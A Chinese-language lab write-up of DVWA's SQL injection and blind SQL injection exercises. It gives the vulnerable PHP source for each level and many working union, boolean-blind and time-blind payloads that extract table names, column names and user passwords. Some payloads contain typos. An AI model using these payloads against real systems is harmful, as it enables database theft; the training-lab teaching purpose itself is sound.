DVWA从入门到放弃之SQL-InjectionSQL-InjectionBlind

8次阅读

共计 17152 个字符,预计需要花费 43 分钟才能阅读完成。

SQL Injection

SQL 语句基本知识

  • 由于常见的注入类型为数字型和字符型(根据查询的字段值有无引号决定的)
  • 可通过 a' or 1 = 1# 或者 a or 1 = 1#(a 表示正确输入的值,# 为注释) 来判断注入类型。

    • 若为数字型 sql 注入,前者报错或查询不到数据、后者可能查询到所有结果
    • 若为数字型 sql 注入,前者可能查询到所有结果、后者报错或查询不到数据
  • 将两句 payload 带入构造的 sql 查询语句(以本实验为例,a 用 1 代替)
  • 数字型:

    select first_name,last_name from users where user_id = 1' or 1 = 1#
    #由于是数字型。'user_id' 的值没有用 ''包围,所以"1'" 不能识别为 int 型
    select first_name,last_name from users where user_id = 1 or 1 = 1#
    #where 语句恒为真(or 后面的子句恒为真),所以查询的结果为所有数据
  • 字符型:

    select first_name,last_name from users where user_id = '1' or 1 = 1#'# 由于是字符型。'user_id'的值用'' 包围,且在 sql 语句中 '#' 为注释功能。故 where 子句中条件恒为真
    select first_name,last_name from users where user_id = '1 or 1 = 1#'
    #由于字符型查询右引号缺失,导致报错或查询不到数据
    

Low

代码分析


<?php

if(isset( $_REQUEST[ 'Submit'] ) ) {
    // Get input
    $id = $_REQUEST['id'];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id ='$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while($row = mysqli_fetch_assoc( $result) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

代码解析 & 自我理解:

  • isset()函数在 php 中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
  • query变量为直接构造的 sql 查询语句,没有对用户的输入进行任何的过滤,导致 sql 注入的存在。
  • result通过 mysqli_query() 函数获取数据库查询的结果集。die()函数表示连接数据库失败退出当前脚本。$GLOBALS["___mysqli_ston"]表示数据库的连接语句
  • mysqli_fetch_assoc($result)从结果集中取出 一行 作为关联数组,即列名和值对应的键值对。

    • dvwa1.9 中使用的是 mysql_numrows() 函数返回集行数给num(只对 select 语句有效)
  • 最后通过 while 判断若有查询结果且循环执行$row = mysqli_fetch_assoc($result),将结果集中每行结果对应的字段值赋值给相应的字段,并遍历输出。

介绍下手工注入的思路

  • 1. 判断是否存在注入,注入的类型是字符型还是数字型(是否带有引号)
  • 2. 猜解 sql 查询语句的字段数
  • 3. 确定显示的字段顺序
  • 4. 获取当前数据库
  • 5. 获取数据库中的表
  • 6. 获取表中的字段名
  • 7. 下载数据

实际操作步骤

首先,我们正常输入 User ID(1,2,3,4,5…)


可以看到输入为 1 的时候,有正常的输入。此时 sql 查询语句为:

 select first_name,last_name from users where user_id = '1'

但是作为一名键盘 DJ… 平时的爱好就是唱、跳、rap、敲键盘。。。。

1. 判断是否存在注入以及注入类型

输入1' or 1 = 1#


可以看到输入为 1' or 1 = 1# 的时候,返回了多个查询结果。此时 sql 查询语句为:

select first_name,last_name from users where user_id = '1' or 1 = 1#'# 在 select 语句中,'#'注释掉后方单引号,所以 where 子句中"user_id = '1'" 和 "1 = 1"
#两个条件通过 or 使得 where 子句恒为真(相当于没有查询约束条件)

通过结果可以知道存在字符型注入

2. 猜解 sql 查询语句中的字段数以及字段排序

输入:
1'or 1 = 1 order by 1#
1' or 1 = 1 order by 2#
1' or 1 = 1 order by 3#
...
此时,sql 查询语句为:

select first_name,last_name from users where user_id = '1' or 1 = 1 order by 1#'select first_name,last_name from users where user_id ='1'or 1 = 1 order by 2#'
select first_name,last_name from users where user_id = '1' or 1 = 1 order by 3#'# 在 sql 语句中'order by' 子句的作用是根据指定的字段将结果集进行排序
#'order by' 后面的内容可以为字段名也可以为数字,为数字时表示默认的第几个字段

由于输入 1' or 1 = 1 order by 3# 报错,说明 select 的查询字段只有两个


输入:
1'or 1 = 1 union select 1,2#或者1' union select 1,2#

此时,sql 查询语句为:

select first_name,last_name from users where user_id = '1' or 1 = 1 union select 1,2#'select first_name,last_name from users where user_id ='1'union select 1,2#'
#union 操作符用于合并两个或多个 select 语句的结果集
#union 中 select 语句必须拥有相同数量的字段。字段也必须拥有相似的数据类型。#同时,每条 select 语句中的字段顺序必须相同,这样就可以通过 'union select 1,2',返回的结果 1,2 的显示顺序判断查询字段顺序


当然,也可以直接输入 1' union select 1,2,...# 来构造 sql 语句:

select first_name,last_name from users where user_id = '1' union select 1,2,...#'

一次性猜解 select 语句中的字段数以及字段排序

3. 依次获取数据库、表、字段的名称

输入 1' union select 1,database()# 对应的 sql 查询语句为:

select first_name,last_name from users where user_id = '1' union select 1,database()#'# 因为 union 中 select 的字段数和顺序都应相同,故需用 select 1,database()中的'1' 来补位,select database()就是查询当前数据库名
#此 sql 语句查询的结果为两行结果,第一行为 union 前的 '正常' 查询结果,第二行中 'first_name' 列对应的值是 1
#'last_name' 列对应的值是数据库名 (database() 的查询结果)

获得当前数据库的名字为'dvwa'


接下来就是获取数据库的表名以及字段名了,在操作之前先说下原理:

  • 在 Mysql 中有一个名叫 information_schema 的数据库, 里面存放着关于数据库的相关信息。在此数据库中有两个表:tables(表中有两个字段 table_name(表名)table_schema(数据库名)) 和columns(表中也有两个字段 column_name(字段名)table_name)分别存放着 Mysql 中所有表名和字段名。
  • tablescolumns 表中还有其他字段,这里列举出两个字段一个作为查询字段(select),一个作为约束字段(where)。这样就可以查询到相应数据库中的表名,以及相应表中的字段名。

在输入框中构造 sql 查询语句,输入:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

对应的 sql 查询语句为:

select first_name,last_name from users where user_id = '1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#'#union select 后面的'1' 还是作为补位补齐 union 前后 select 语句的字段数

上述 sql 语句可简化为:

select group_concat(table_name) from information_schema.tables where table_schema = database()
#首先 group_concat()函数将多个字符串连接成一个字符串,以达到 union 字段数对应。#因为当前数据库为 dvwa,所以用到 information_schema.tables 表示查询的表是 information_schema 数据库中的 tables 表
#database()表示获取当前数据库名(dvwa),也可直接写 'dvwa'

得到结果:dvwa 数据库中有两个表:guestbook 和 users


查询表中的字段(以 users 为例),输入:

1'union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#('# 可以不要)

对应 sql 语句:

select first_name,last_name from users where user_id = '1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#'

简化 sql 查询语句:

select group_concat(column_name) from information_schema.columns where table_name = 'users'
#找到 information_schema 数据库中 columns 表中 table_name='users' 的所有字段。

可以看到 users 表中的字段分别为user_id、first_name、last_name、user、password、...


4. 获取数据 / 下载数据(以 users 表中的 user_id,first_name,last_name,password 为例)

输入

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

对应的 sql 查询语句为:

select first_name,last_name from users where user_id = '1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#'

简化语句:

select group_concat(user_id,first_name,last_name),group_concat(password) from users#'
#group_concat()中的字段名可以根据自己想要查询的字段随意组合

至此得到了 users 表中所有用户的 user_id,first_name,last_name,password 的数据,也可以按照上述方法得到其他数据库中其他表中的其他字段信息


自我延展:
输入:
1' union select 1,group_concat(table_schema) from information_schema.tables
简化后对应的 sql 语句为:
select group_concat(table_schema) from information_schema.tables
#表示查询 Mysql 中所有数据库名

Medium

代码分析


<?php

if(isset( $_POST[ 'Submit'] ) ) {
    // Get input
    $id = $_POST['id'];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die('<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while($row = mysqli_fetch_assoc( $result) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die('<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row($result)[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

相对于 Low 级别的代码:

  • 添加 mysqli_real_escape_string() 函数对 id 中特殊字符进行转义,包括(\x00,\n,\r,\,','',\x1a)
  • mysqli_fetch_row()函数返回SELECT COUNT(*) FROM users(查询 users 表中总行数)?至今没搞懂这三行代码有啥用?


同时在 Medium 级别中前端添加下拉选择框限制用户,这时候就用到 Burp Suite 抓包工具修改上传数据

  • 将网页代理以及 burpsuite 中 proxy 拦截设置为同一地址

  • 将 burpsuite 中设置 intercept is on 在网页前端选择数据,点击Submit

  • 得到抓包数据,将 id 的值改为 sql 注入常用 payload:1' or 1 = 1#, 点击Forward

  • 可以看到网页报错,说明服务器端对特殊符号 (') 进行了转义。重新抓包构造 payload:1 or 1 = 1,然后提交

  • 可以看到查询成功且存在的 sql 注入类型是数字型

由于是数字型 sql 注入,故无需输入引号 (特殊字符)。服务器端的mysql_real_escape_string() 函数就形同虚设了 (故意的吧。。。)
接下来的操作步骤与 Low 级别一致,只是 payload 中无需加入 '#符号

High

代码分析


<?php

if(isset( $_SESSION [ 'id'] ) ) {
    // Get input
    $id = $_SESSION['id'];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id ='$id'LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die('<pre>Something went wrong.</pre>');

    // Get results
    while($row = mysqli_fetch_assoc( $result) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

相对于 Low 级别的代码:

  • 在 High 级别中 $query 查询语句添加了LIMIT 1,希望能够控制只输出一个结果
  • 然而 # 可以将 $id 后面的代码 (' LIMIT 1) 一并注释掉。剩下的操作就和 Low 级别的一致了
  • 前端将输入和结果显示分为两个页面 (url),可以防止常规扫描工具(如sqlmap) 的扫描检测??

象征性依次写一下 payload:

1' or 1=1#

判断是否有注入及注入类型

1'union select 1,2,...#` 或者 `1' or 1 = 1 union select 1,2,...#

判断查询字段数及字段顺序

1' union select 1,group_concat(table_schema) from information_schema.tables

查询所有数据库名 -自创

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()#

查询当前数据库中所有表名。可以将 database() 改为其他数据库名(加引号),可查询其他数据库中的所有表名

1'union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#

查询相应表中的所有字段,可将 users 改为其他已获取到的表名

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

下载数据 user_id,first_name,last_name,password 都是 users 表中的字段


Impossible

代码分析

<?php

if(isset( $_GET[ 'Submit'] ) ) {
    // Check Anti-CSRF token
    checkToken($_REQUEST[ 'user_token'], $_SESSION['session_token'], 'index.php' );

    // Get input
    $id = $_GET['id'];

    // Was a number entered?
    if(is_numeric( $id)) {
        // Check the database
        $data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam(':id', $id, PDO::PARAM_INT);
        $data->execute();
        $row = $data->fetch();

        // Make sure only 1 result is returned
        if($data->rowCount() == 1 ) {
            // Get values
            $first = $row['first_name'];
            $last  = $row['last_name'];

            // Feedback for end user
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  • Impossible 级别的代码采用了 PDO 技术,划清了代码与数据的界限,有效防御 SQL 注入
  • 同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了 ” 脱裤 ”
  • Anti-CSRFtoken 机制的加入了进一步提高了安全性


SQL injection(Blind)

SQL 盲注与一般的注入区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是 无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的 SQL 注入漏洞大多是 SQL 盲注


注入思路以及过程:
因为盲注的返回结果有限 (如是或不是),只有通过机械的询问遍历,最终获得想要的数据
过程与手工注入相似:判断注入存在及类型 -> 猜解库名 -> 猜解表名 -> 猜解字段名 -> 猜解数据 (无法直接获取其他数据库名)
盲注分为 基于布尔的盲注 基于时间的盲注 以及 基于报错的盲注

Low

代码分析

<?php

if(isset( $_GET[ 'Submit'] ) ) {
    // Get input
    $id = $_GET['id'];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id ='$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows($result); // The '@' character suppresses errors
    if($num > 0) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header($_SERVER[ 'SERVER_PROTOCOL'] . '404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
  • 可以看到,与一般注入 Low 级别代码比较:利用 mysqli_num_rows() 函数将结果集行数量返回给num
  • 若有查询结果 (num>0) 则返回结果 ID 存在,否则返回 ID 不存在

由于实验环境限制(可能是 sql 语句报错在网页中体现不出来,无法判断),故基于报错的盲注无法实施

基于布尔的盲注(用 and 构造其子句的真假来判断查询结果有无)

  • 判断是否存在注入以及注入类型,注入 payloads 及结果
  • (payload 中的数字依次遍历,以下仅展示正确的示例)
   1——User ID exists in the database
   1' and 1 = 1#——User ID exists in the database(说明存在字符型 sql 注入)
   1' and 1 = 2#——User ID is MISSING from the database(表明 sql 注入为盲注)
   1 and 1 = 1#——User ID exists in the database 为什么结果显示存在?

说明存在字符型 SQL 盲注

  • 猜解数据库名,注入 payload 及结果

    • 猜解数据库名长度
1' and length(database())=1#——User ID is MISSING from the database
1' and length(database())=2#——User ID is MISSING from the database
1' and length(database())=3#——User ID is MISSING from the database
1' and length(database())=4#——User ID exists in the database

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length(database())=1#'
#and 语句连接的 length(database())= 1 如果为真,则返回 and 语句前的 select 查询结果
#如果为假,则返回结果为 Empty

length()函数作用是计算其参数 (str 类型) 的字节数。结果说明当前数据库名字符长度为 4 个字符

    • 依次猜解数据库名的字节 (字母- 一般通过字母的 ASCII 码判断),注入 payload 及结果:
1' and ascii(substr(databse(),1,1))=100#——User ID exists in the database
= 可改为 >,< 符号,利用二分法猜解

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr(databse(),1,1))=100#'
#在这里只分析 and 条件后面的语句 ascii(substr(databse(),1,1))=100,因为当其为真时会有查询结果,为假没有结果
#substr()函数截取字符串,第一个参数为被截取的字符串,第二个参数为起始字符, 第三个参数为截取长度
#ascii()就是计算其参数的 ascii 码值通过二分法猜解数据库名的每个字母的 ascii 值

依次猜解就可以获得数据库名 dvwa


  • 猜解表名

    • 猜解数据库中表的数量,注入 payload 及结果
 1' and (select count(table_name) from information_schema.tables where table_schema = database()) = 2#——User ID exists in the database
 或者
 1'and (select count(table_name) from information_schema.tables where table_schema ='dvwa') = 2#——User ID exists in the database
 #说明 dvwa 数据库中有两个表

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(table_name) from information_schema.tables where table_schema = 'dvwa') = 2#'# 其中(select count(table_name) from information_schema.tables where table_schema ='dvwa') = 2 为真输入结果
#COUNT(column_name) 函数返回指定列的值的数目
    • 猜解表名字符数量,注入 payload 及结果:
1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#——User ID exists in the database
或者
1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#——User ID exists in the database

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1)) = 9#'
或者
SELECT first_name,last_name FROM users WHERE user_id = '1' and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1)) = 9#'
#(select table_name from information_schema.tables where table_schema = database() limit 0,1)就是第一个表名,可以改变 limit 参数改变表名
#limit 限制结果输出,第一个参数是起始行(0 表示第一行,依次递增),第二个参数是数据数量(行数)
#substr 在此处只有两个参数(没有限制截取长度),想必是将 select 语句结果转换成 str 类型的吧

此处 select table_name from information_schema.tables where table_schema = database() limit 0,1 的结果要用 () 才能将其转换成 str 类型。length()、substr()函数参数都是 str 类型。

length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))可以去掉 substr() 这个没用的函数 0.0. 多嵌套读写顺序从里往外

    • 猜解表名具体字母,注入 payload 及结果:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#——User ID exists in the database
#说明第一个表名的第一个字符为小写字母 g 

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 103#'

依旧采用 二分法 猜解表名其中一个字母的 ascii 码值。改变 limit 后的参数以及 substr() 函数中的参数就能遍历每个表名中每个字母
猜解出来的第一个表名字母依次是:g,u,e,s,t,b,o,o,k、第二个表名的字母依次是:u,s,e,r,s


  • 猜解表中的字段名(以 users 表为例)

    • 猜解字段数量,注入 payload 及结果:
1'and (select count(column_name) from information_schema.columns where table_name ='users') = 8#——User ID exists in the database
#说明 users 表中总共有 8 个字段

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and (select count(column_name) from information_schema.columns where table_name = 'users') = 8#'
#count(COLUMN_NAME)计数依次增加直到为真,由于字段数一般不是很多,所以就不采用二分法判断
    • 猜解字段名字符数量,注入 payload 及结果:
1'and length((select column_name from information_schema.columns where table_name ='users' limit 0,1)) = 7#——User ID exists in the database
1'and length((select column_name from information_schema.columns where table_name ='users' limit 1,1)) = 10#——User ID exists in the database
1'and length((select column_name from information_schema.columns where table_name ='users' limit 2,1)) = 9#——User ID exists in the database
...
或者
1'and length(substr((select culomn_name from information_schema.columns where table_name ='users' limit 0,1),1)) = 7#——User ID exists in the database
...
#依次猜表中每个字段字符数量(第一个字段字符数为 7(user_id),(第二个字段字符数为 10(first_name),(第三个字段字符数为 9(last_name))

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and length((select column_name from information_schema.columns where table_name = 'users' limit 0,1)) = 7#'
    • 猜解字段名具体字母,注入 payload 及结果:
1'and ascii(substr((select column_name from information_schema.columns where table_name ='users' limit 0,1),1,1)) = 117#——User ID exists in the database
...

构造的 sql 查询语句为:

SELECT first_name,last_name FROM users WHERE user_id = '1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' limit 0,1),1,1)) = 117#'
...
#第一个表名中第一个字母对应是 u(u 的 ascii 码值为 117)

改变 limit 后的参数以及 substr() 函数的参数遍历就可得到 users 表中每个字段中的每个字母
至此得到当前数据库名为 dvwa,有 guestbook 和users 两个表。users 表中有 8 个字段 (分别有user_id,first_name,last_name,password... 等字段)


  • 下载数据

基于布尔手工下载数据要下到明年 …… 这里总结下手工下载部分想要的数据。
比如我想知道 first_name 字段中有没有 'admin' 数据,若有,找到 'admin' 对应的 last_name

  • 判断 first_name 字段中有没有'admin'
1' and ascii(substr((select first_name from users limit 0,1),1,1)) = 97#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 1,1),1,1)) = 97#——User ID is MISSING from the database
...
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID exists in the database
1' and ascii(substr((select first_name from users limit 0,1),2,1)) = 100#——User ID is MISSING from the database
...
...
#循环遍历 'admin' 的 ascii 码值和其他字段对应字母的 ascii 码匹配。上述结果说明 'admin' 存在 first_name 字段中,且默认为第一条数据
  • 查找 first_name = 'admin' 对应的last_name
1'and ascii(substr((select last_name from users where first_name ='admin'),1,1)) = 97#——User ID exists in the database
1'and ascii(substr((select last_name from users where first_name ='admin'),2,1)) = 100#——User ID exists in the database
...
1'and ascii(substr((select last_name from users where first_name ='admin'),6,1)) = 0#——User ID exists in the database
#说明 last_name 为 'admin',第六个字母 ascii 码为 0 说明为 null

在基于布尔的盲注过程中:
猜解表 (字段) 数量、表 (字段) 字母数是为了给猜解 ascii 码环节中 limit 和 substr()提供参数
可以省略猜解 表(字段、数据库)字母数直接上 ascii 码——substr()参数 因为 由 0 或 1 递增到上限时,ascii 码为 0(null)
不能省略猜解 表(字段、数据库)数量——limit 参数,可能时因为获取不到结果直接报错了吧


基于时间的盲注 (采用 sleep() 函数查看页面返回结果是否有明显的延迟)

  • 判断是否存在注入以及注入类型,注入 payloads 及结果
  • (payload 中的数字依次遍历,以下仅展示正确的示例)
1' and sleep(5)#——有明显延迟 /User ID is MISSING from the database
1 and sleep(5)#——没有延迟 /User ID exists in the database

基于时间的盲注主要看有无延迟,其他结果好像并不作为依据

说明存在 字符型的基于时间的盲注
对应的 sql 语句:

SELECT first_name,last_name FROM users WHERE user_id = '1' and sleep(5)#'SELECT first_name,last_name FROM users WHERE user_id ='1 and sleep(5)#'

由于步骤和基于布尔的盲注一致,下面直接上 payloads:(页面发生延迟说明 if 条件句中条件正确)

1' and if(length(database())=4,sleep(5),1)#
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
1' and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)#
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)#
1' and if(length(substr((select column_name from information_schema.columns where table_name=’users’limit 0,1),1))=7,sleep(5),1)#
1'and if(ascii(substr((select last_name from users where first_name ='admin'),1,1)) = 97,sleep(5),1)#

总结:

基于时间的盲注比基于布尔的盲注多了个 if(),sleep(N), 参数 1
if() 函数中的条件如果正确就执行 sleep() 函数,如果错误就返回1

Medium、High、Impossible 级别的代码限制条件和一般注入一致,注入思路过程和盲注中 Low 级别思路过程一致


过段时间再总结基于报错的盲注 ….

正文完
 0